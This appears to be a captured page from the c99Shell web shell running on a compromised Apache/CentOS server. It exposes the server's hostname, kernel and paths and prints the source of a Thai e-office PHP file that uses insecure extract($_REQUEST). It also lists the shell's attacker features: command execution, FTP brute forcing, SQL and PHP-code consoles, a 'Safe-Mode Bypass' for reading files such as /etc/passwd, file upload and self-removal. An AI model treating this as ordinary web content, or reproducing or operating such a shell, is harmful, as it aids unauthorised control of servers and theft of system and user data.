!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/admin/   drwxr-xr-x
Free 52.23 GB of 127.8 GB (40.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     showSendDocSignMobile.php (9.82 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<html>
<head>
<script language="javascript" src="calendarDateInputMobile.js"></script>
<!--<meta http-equiv="Content-Type" content="text/html; charset=tis-620">-->
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>

<?php extract ($_REQUEST);
$GLOBALS["COLOR_BG_TD_MOBILE"] = "#DDDDDD"?>
<table width="100%"   border="0" align="center" cellpadding="0" cellspacing="0" >
  <!--<tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_2"]; ?>" height=22> 
    <td align="left" colspan="3">&nbsp;รายละเอียดการส่งหนังสือ</td>
  </tr>-->
  <?php     $oRs7->SearchByshowSendDocSign($oRs->DrsFromDrsID); $oRs7->GetRecord(); 
              if(
$oRs7->DrsByPass!="Y"){ ?>
      <tr> 
    <td width="20%"  bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_MOBILE"]; ?>">&nbsp;&nbsp;<strong>การบันทึก<br>
      &nbsp;&nbsp;ต่อเนื่อง</strong></td>
    <td width="1%"  align="center" ><strong>:</strong></td>
    <td width="79%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_MOBILE6"]; ?>" align="left"><?php     echo iconv('TIS-620','UTF-8',nl2br($oRs->DrsSign)); ?>&nbsp;
    </td>
    </tr>
  <tr> 
    <td width="20%"  bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_MOBILE"]; ?>">&nbsp;&nbsp;<strong>ผู้ลงนาม</strong></td>
    <td width="1%"  align="center" ><strong>:</strong></td>
    <td width="79%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_MOBILE6"]; ?>" align="center"> 
      <?php $oPS6->SearchByKey($oRs->DrsPsIDCreate); $oPS6->GetRecord();   ?>
      <?php echo iconv('TIS-620','UTF-8',"&nbsp;".GetPrefix($oPS6->prefixId).$oPS6->fName."&nbsp;".$oPS6->lName."<br>"); ?> 
      <?php     $oDlp2->SearchByKey($oDlc6->SearchByKeyName($oRs->DrsDlcIDCreate,'DlpID'));  
                
$oDlp2->GetRecord();
                    echo 
iconv('TIS-620','UTF-8',"&nbsp;(".$oDlp2->DlpName.")<br>"); 
                    list(
$DocD,$DocT) = preg_split('[ ]',$oRs7->DrsSendDate);
                   echo 
iconv('TIS-620','UTF-8',abbreDate2($DocD,'/')."&nbsp;".a2th($DocT)."&nbsp;");             
        
?>
      <br> <br></td>
  </tr>
  <?php ?>
  <tr height=22 > 
    <td width="20%"  bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_MOBILE"]; ?>">&nbsp;&nbsp;<strong>ลักษณะหนังสือ</strong></td>
    <td width="1%"  align="center" ><strong>:</strong></td>
    <td width="79%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_MOBILE6"]; ?>" align="left">
    &nbsp;&nbsp;&nbsp;&nbsp; 
       <select name="PtID" id="PtID" onchange="changeDivDisplay(this.value)">
        <!--<option value="0">--เลือกลักษณะหนังสือ--</option>-->
        <?php $oPt->RSProposeType();
                    while(
$oPt->GetRecord()){
              
?>
        <option value="<?php echo $oPt->PtID?><?php  if($PtID==""){  if($oDoc->DocPID!=0){  if($oPt->PtID==$oRs->PtID){  echo "selected"; }  }else{  if($oRs->PtID==$oPt->PtID){  echo "selected"; } }  }else{   if($PtID==$oPt->PtID){  echo "selected"; } }?>><?php echo iconv('TIS-620','UTF-8',$oPt->PtName); ?></option>
        <?php ?>
      </select> </td>
  </tr>
  <!--<tr height=22 > 
    <td width="20%"   bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_MOBILE"]; ?>">&nbsp;&nbsp;<strong>ข้อมูลขึ้นเว็บ</strong></td>
    <td width="1%"  align="center" ><strong>:</strong></td>
    <td width="79%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_MOBILE6"]; ?>" align="left" colspan="2">
    <table align="center" border="0" width="100%">
    <tr><td colspan="2">&nbsp;&nbsp;&nbsp;&nbsp; 
      <?php     //echo $oRs->AnID;    
            
if($oRs->AnID!="" && $oRs->AnID!="0"){ 
            
$oAn->SearchByKey($oRs->AnID);
            
$oAn->GetRecord();
            echo 
iconv('TIS-620','UTF-8',$oAn->AnName);
    
?>
      <input type="hidden" name="AnID" id="AnID" value="<?php echo iconv('TIS-620','UTF-8',$oRs->AnID); ?>"> 
      <input type="hidden" name="AnIDselected" id="AnIDselected" value="1"> 
      <?php }else{   $firstpost=1?>
      <select name="AnID" id="AnID">
        <option value="0">--เลือกการแจ้งข้อมูลขึ้นเว็บ--</option>
        <?php $oAn->RSannounceDocType();
                    while(
$oAn->GetRecord()){
              
?>
        <option value="<?php echo $oAn->AnID?><?php  if($AnID==""){   if($oRs->AnID==$oAn->AnID){  echo "selected"; }  }else{   if($AnID==$oAn->AnID){  echo "selected"; } }?>><?php echo iconv('TIS-620','UTF-8',$oAn->AnName); ?></option>
        <?php ?>
      </select> 
      <input type="hidden" name="AnIDselected" id="AnIDselected" value="0"> 
      <?php }?></td></tr>
      <?php 
        
if($oDoc->DocShowInOut=="1" ){  ?>
            <input name="DocShowIn" id="DocShowIn" type="hidden" value="1"><?php 
        
}else if($oDoc->DocShowInOut=="2"){  ?> 
            <input name="DocShowOut" id="DocShowOut"  type="hidden" value=2><?php  
        
}else if($oDoc->DocShowInOut=="3"){ ?>
            <input name="DocShowIn"  id="DocShowIn"  type="hidden" value="1">  
            <input name="DocShowOut" id="DocShowOut"  type="hidden" value="2"><?php  
        
}  ?>
      <tr><td colspan="2">&nbsp;&nbsp;&nbsp;<input name="DocShowIn" id="DocShowIn" type="checkbox" value="1" <?php   if($oDoc->DocShowInOut=="1" || $oDoc->DocShowInOut=="3"){ echo "checked disabled"; }  if($DocShowIn==&& $oDoc->DocShowInOut=="0"){  echo "checked"; }  ?> >Internet (ภายนอก)<br>
      &nbsp;&nbsp;&nbsp;<input name="DocShowOut" id="DocShowOut" type="checkbox" value=2 <?php  if($oDoc->DocShowInOut=="2"  || $oDoc->DocShowInOut=="3"){ echo "checked disabled"; } if($DocShowOut==&& $oDoc->DocShowInOut=="0"){  echo "checked"; }?> >Intranet (ภายใน)</td></tr>
      <tr><td colspan="2">&nbsp;&nbsp;&nbsp;<font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">*** กรุณาเลือกวันที่เริ่มต้น-สิ้นสุด<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
      ในการประกาศข่าวบนเว็บ</font></td></tr>
      <tr><td width="14%">&nbsp;&nbsp;&nbsp;&nbsp;จาก</td>
      <td width="86%"> 
          <?php if($oRs->AnID!="" && $oRs->AnID!="0"){ 
                          echo 
iconv('TIS-620','UTF-8',abbreDate2($oRs->DrsstartDatePost,'/'));            
                  }else{
                   if(
$DrsstartDatePost!=""){ ?>
                            <script>DateInput('DrsstartDatePost', true, 'DD/MM/YYYY','<?php echo $DrsstartDatePost;?>');</script> 
            <?php }else{  
                            if(
$oRs->DrsstartDatePost !="0000-00-00"){ ?>
                                <script>DateInput('DrsstartDatePost', true, 'DD/MM/YYYY','<?php echo splitDateDb($oRs->DrsstartDatePost,"/");?>');</script> 
                    <?php     }else{?>
                                <script>DateInput('DrsstartDatePost', true, 'DD/MM/YYYY','<?php echo getNowDateFw2();?>');</script> 
                    <?php     }
                   }
                 }
             
?></td></tr>
      <tr><td>&nbsp;&nbsp;&nbsp;&nbsp;ถึง</td>
      <td>
       <?php  
               
if($oRs->AnID!="" && $oRs->AnID!="0"){ 
                          echo 
iconv('TIS-620','UTF-8',abbreDate2($oRs->DrsendDatePost,'/'));            
            }else{
                   if(
$DrsendDatePost!=""){ ?>
                            <script>DateInput('DrsendDatePost', true, 'DD/MM/YYYY','<?php echo $DrsendDatePost;?>');</script> 
            <?php }else{  
                            if(
$oRs->DrsstartDatePost !="0000-00-00"){ ?>
                                <script>DateInput('DrsendDatePost', true, 'DD/MM/YYYY','<?php echo splitDateDb($oRs->DrsendDatePost,"/");?>');</script> 
                    <?php }else{?>
                                <script>DateInput('DrsendDatePost', true, 'DD/MM/YYYY','<?php echo getNowDateFw2();?>');</script> 
                    <?php      }
                   }
            }
             
?>
      </td></tr>
    </table>
    </td>
  </tr>-->
  <tr height=22 > 
    <td width="20%"  bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_MOBILE"]; ?>">&nbsp;&nbsp;<strong>การบันทึก<br>
      &nbsp;&nbsp;ต่อเนื่อง</strong></td>
    <td width="1%"  align="center" ><strong>:</strong></td>
    <td width="79%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_MOBILE6"]; ?>" align="center">&nbsp; 
      <textarea name="DrsSend" id="DrsSend" cols="30" rows="5" <?php echo showtextarea('DrsSend',$InputThai); ?>><?php if($DrsSend!=""){ echo iconv('TIS-620','UTF-8',$DrsSend);  }?></textarea></td>
  </tr>
  <tr height=40> 
    <td width="20%"  bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_MOBILE"]; ?>">&nbsp;&nbsp;<strong>ผู้บันทึก/<br>
      &nbsp; ผู้ส่งหนังสือ</strong></td>
    <td width="1%"  align="center"><strong>:</strong></td>
    <td width="79%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_MOBILE6"]; ?>" align="center"> 
      <?php $oPS->SearchByKey($mypersonId); $oPS->GetRecord();   ?>
      <?php echo iconv('TIS-620','UTF-8',"&nbsp;".GetPrefix($oPS->prefixId).$oPS->fName."&nbsp;".$oPS->lName."<br>"); ?> 
      <?php     $oDlp->SearchByKey($oDlc->DlpID);  $oDlp->GetRecord();
                    echo 
iconv('TIS-620','UTF-8',"&nbsp;(".$oDlp->DlpName.")"); ?>
    </td>
  </tr>
  <tr> 
    <td colspan="3"><br> <fieldset>
      <strong>กำหนดระยะเวลาดำเนินการ</strong>
      <table width="100%">
        <tr>
          <td width="100%">&nbsp; <input name="checkDocSpeedDate" id="checkDocSpeedDate"  type="checkbox" value="Y" <?php if($checkDocSpeedDate==""){ if($oRs->DrsDocDueDate !="0000-00-00"){   echo "checked"; }  }else{   if($checkDocSpeedDate=="Y"){ echo "checked"; } }?>> <label for="checkDocSpeedDate">ภายในวันที่</label></td>
          </tr>
          <tr>
          <td width="100%"> 
            <?php  if($DocSpeedLevelDueDate!=""){ ?>
                            <script>DateInput('DocSpeedLevelDueDate', true, 'DD/MM/YYYY','<?php echo $DocSpeedLevelDueDate;?>');</script> 
            <?php }else{  
                            if(
$oRs->DrsDocDueDate !="0000-00-00"){ ?>
                                <script>DateInput('DocSpeedLevelDueDate', true, 'DD/MM/YYYY','<?php echo splitDateDb($oRs->DrsDocDueDate,"/");?>');</script> 
                    <?php }else{?>
                                <script>DateInput('DocSpeedLevelDueDate', true, 'DD/MM/YYYY','<?php echo getNowDateFw2();?>');</script> 
                    <?php      }
                   }
             
?>
          </td>
        </tr>
      </table>
      </fieldset></td>
  </tr>
</table>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0075 ]--